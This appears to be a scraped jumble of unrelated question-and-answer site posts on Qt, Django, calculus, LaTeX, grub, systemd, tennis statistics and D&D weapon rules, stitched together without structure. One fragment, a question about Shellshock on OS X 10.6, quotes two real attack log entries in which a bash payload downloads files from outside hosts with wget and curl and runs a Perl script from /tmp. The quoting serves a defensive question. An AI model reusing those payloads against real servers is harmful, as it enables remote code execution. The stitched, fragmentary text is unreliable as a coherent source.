Single instance application in Qt
Qt: Best practice for a single instance app protection
Extending the User model with custom fields in Django Proving $ 1+\frac{1}{4}+\frac{1}{9}+\cdots+\frac{1}{n^2}\leq 2-\frac{1}{n}$ for all $n\geq 2$ by induction Evaluate $\lim_{n\rightarrow\infty} \int_0^1 f(x^n) dx$ Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks? The tennis statistics at the end of a set always show the number of winners and unforced errors of the players. But when does a point count as a winner and when as unforced error? A method for evaluating sums/discrete functions by assuming they can be made continuous and differentiable? Why do some bad traits evolve, and good ones don't? I am trying to put two subscripts at the left and right of a character. For example, something like:  _{t} p_{x}  where p is in the middle. How do you do this? Why does default auto.arima stop at (5,2,5)? Differences between hash- and encryption algorithms? There is a lot of confusion between hash- and encryption algorithms; I would like to understand:   When do we use a hash algorithm and when do we use an encryption algorithm (a cipher)? How difficult it is to reverse hash- and encryption algorithms? From the theoretical/mathematical perspective, what differentiates a hash- and encryption algorithm? Riemann integrabilty of an indicator function Consider the following function on $[0,1]$:   $$f(x)=\begin{cases}1&amp;x\in\{a_1,a_2,\dots,a_n\}\\0 &amp;\text{otherwise}\end{cases}$$   The $a_i$ are fixed and all in $[0,1]$. Determine whether $f$ is Riemintegrable or not.   By the Riemann&ndash;Lebesgue criterion $f$ is Riemann integrable. How to prove directly? "Above"/"below" before/after a noun What is an example of a transformation on a posterior distribution such that the MAP estimate will be non-invariant? Suppose that we have a posterior distribution $p(\theta\mid y)$ and we wish to define a transformation on $\theta$ such that $\phi = f(\theta)$. I know that generally such transformations will not affect the MLE as it is on the data space, but will result in non-invariance on the Maximum A Posteriori (MAP) estimate as it is a function of the parameter space. I am wondering if there is an example to illustrate this? Thanks. Boot error > no such device: grub rescue After an installation of Ubuntu 12.04, erasing an old partition with Ubuntu 10.10, I can't get grub to load. I can't access my Windows 7 partition either  I get the message:  &gt; error: no such device: 58ABF29C...   grub rescue&gt;   I suppose my master boot record got erased/corrupted. How can I check and fix this? Generic constraints, where T : struct and where T : class How can I 'join' an array adding to the beginning of the resulting string the first character to join? How to change envelope from address using PHP mail? I  that there are two folders for unit files (not in user mode). /usr/lib/systemd/system/: units provided by installed packages /etc/systemd/system/: units installed by the system administrator  Conflicting with this understanding is the answer to this question: . Can someone fill in the missing information so that I understand what is going on? (UPDATE: The answer has been updated, and my understanding no longer conflicts with it.) Also, it seems that the scripts are organized in subfolders within the /etc/systemd/system/ folder: getty.target.wants multi-user.target.wants  In another location I read that there are other locations. It seems these are for user-specific services. /usr/lib/systemd/user/ where services provided by installed packages go. /etc/systemd/user/ where system-wide user services are placed by the system administrator. ~/.config/systemd/user/ where the user puts its own services.   Update 2015-08-31: For the sake of others, here is a link to a related question I recently asked: Proficiency with specific weapons vs 'simple and martial'? In the PHB on pg. 146 it states that there are two weapon categories in which the players can be proficient: simple and martial.  As per  answer to another question, being proficient in either category makes the players character proficient in using all weapons of the respective category.   However in the race descriptions the players are given proficiency for specific weapons. Dwarfs, for example, have the trait Dwarven Combat Training giving proficiency with battleaxes, handaxes, throwing hammers and warhammers.   How do the two types of proficiencies interact with each other? Average arc length of a uniformly distributed points Suppose I have $N$ points on a unit circle. I am aware that for a uniform distribution the average angle of one point is not defined, but I want to calculate the average arc length between nearest-neighbors. I disregard arc lengths larger than $\pi$.  For $N = 2$ I am formulating the problem as: \begin{equation} \langle \Delta x \rangle = \frac 1 {\pi^2}\int\limits_0^\pi \int\limits_0^\pi  dx_1 dx_2 \, |x_1-x_2| = \frac \pi 3. \end{equation}  This answer does not make sense to me. Did I make a mistake constructing this integral?  What would happen to $N = 3$, etc?